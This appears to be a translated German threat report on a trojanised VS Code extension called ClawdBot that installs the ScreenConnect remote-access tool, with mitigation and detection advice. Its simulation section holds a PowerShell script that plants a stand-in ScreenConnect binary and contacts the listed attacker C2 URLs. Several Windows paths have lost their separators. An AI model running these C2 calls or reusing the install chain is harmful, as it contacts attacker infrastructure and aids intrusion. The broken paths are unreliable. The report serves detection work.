Gefälschte ClowdBot VS Code-Erweiterung verteilt ScreenConnect RAT

Zusammenfassung

Eine bösartige Visual Studio Code-Erweiterung namens ClawdBot Agent gibt sich als KI-Coding-Assistent aus, installiert jedoch heimlich ein bewaffnetes ScreenConnect-Remote-Access-Tool auf Windows, wenn VS Code gestartet wird. Beim Start zieht die Erweiterung eine Konfigurationsdatei von einer von Angreifern kontrollierten Domain ab, lädt dann eine gefälschte VS Code-Binärdatei (Code.exe) zusammen mit unterstützenden DLLs herunter und führt sie aus. Als sekundärer Lieferweg kann es das gleiche Installationsprogramm von einem Dropbox-Link abrufen, um die Verfügbarkeit der Nutzlast aufrechtzuerhalten. Die Kampagne missbraucht ein vertrauenswürdiges IT-Support-Tool, um in legitime Remote-Administrationsaktivitäten zu passen und das Misstrauen zu verringern.

Untersuchung

Forscher erwarben die package.json der Erweiterung, bestätigten die Aktivierung beim Start von VS Code und erhielten die Remote-JSON-Konfiguration, die die bösartigen Komponenten listet. Binäranalysen zeigten signierte ScreenConnect-Module, die zu einem benutzerdefinierten Relaisserver sendeten. Zusätzliche Fallback-Logik wurde in JavaScript und PowerShell gefunden, die auf sekundäre Domains und in Dropbox gehostete Nutzlasten verweisen. Auf der Festplatte wurden Artefakte im Ordner %TEMP%Lightshot beobachtet.

Milderung

Entfernen Sie die ClawdBot-Agentenerweiterung aus VS Code und löschen Sie die verbleibenden Dateien vom ScreenConnect-Installationsort und dem Verzeichnis %TEMP%Lightshot. Deinstallieren Sie den ScreenConnect-Client-Dienst und blockieren Sie ausgehende Verbindungen zu den identifizierten Relais-Domains und IPs. Ändern Sie alle API-Schlüssel oder Geheimnisse, die möglicherweise in die Erweiterung eingegeben wurden.

Antwort

Erkennen Sie die bösartige Erweiterung, indem Sie VS Code-Erweiterungsinstallationen und die Erstellung des Lightshot-Verzeichnisses überwachen. Alarmieren Sie bei der Ausführung von Code.exe oder ScreenConnect-Binärdateien von nicht standardmäßigen Pfaden und bei ausgehenden Verbindungen zu meeting.bulletmailer.net:8041 oder der zugehörigen IP-Adresse. Führen Sie Host-Forensik durch, um die Entfernung der Persistenz zu bestätigen und zusätzliche Nutzlasten zu identifizieren.

Simulationsausführung

Voraussetzung: Der Telemetrie- & Basislinien-Vorflugcheck muss bestanden werden.

Angriffserzählung & Befehle

1. Der Angreifer veröffentlicht eine trojanisierte VS-Code-Erweiterung mit dem Titel „Clawdbot Helper“.
2. Das Opfer installiert die Erweiterung über den VS-Code-Marktplatz, der ein postinstall Skript ausführt, das leise den ScreenConnect-Client (ScreenConnect.Client.exe) in %APPDATA%ScreenConnect .
3. sofort nach der Installation, initiiert der Client drei ausgehende TCP-Verbindungen zu den von den Angreifern kontrollierten C2-Domains, um zusätzliche Nutzlasten abzurufen und den Host-Status zu melden.
4. Die ausgehenden Verbindungen erzeugen Sysmon-Ereignis-ID 3 Einträge, die mit der dest_ip Liste übereinstimmen, die die Erkennungsregel erfüllt.

Regressionstestskript

# --------------------------------------------------------------
# Simulierte bösartige VS Code-Erweiterungs-Post-Installationsroutine
# --------------------------------------------------------------

# Schritt 1 – Ablegen einer Dummy-ScreenConnect-Binärdatei (simuliert)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Erstellen einer harmlosen Platzhalter-Binärdatei (z. B. eine Kopie von notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Schritt 2 – Ausgehende Verbindungen zu jedem C2-Host herstellen
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Stille Netzwerkanforderung; -UseBasicParsing vermeidet Benutzeroberflächenaufforderungen
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Kontaktierte $url"
    } catch {
        Write-Host "Fehler beim Kontaktieren von $url (in einer Sandbox erwartet)."
    }
}

# Ende des Skripts – an diesem Punkt sollte Sysmon drei
# NetworkConnect-Ereignisse protokolliert haben, deren DestinationIp-Werte mit der Regel übereinstimmen.

Bereinigung der Befehle

# --------------------------------------------------------------
# Entfernen simulierter Artefakte
# --------------------------------------------------------------

# Beenden verbleibender PowerShell-Jobs (keine in diesem einfachen Skript)
Get-Job | Remove-Job -Force

# Löschen des Dummy-ScreenConnect-Client-Ordners
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Optional: Löschen des Sysmon-Puffers (erfordert Adminrechte)
# sysmon -c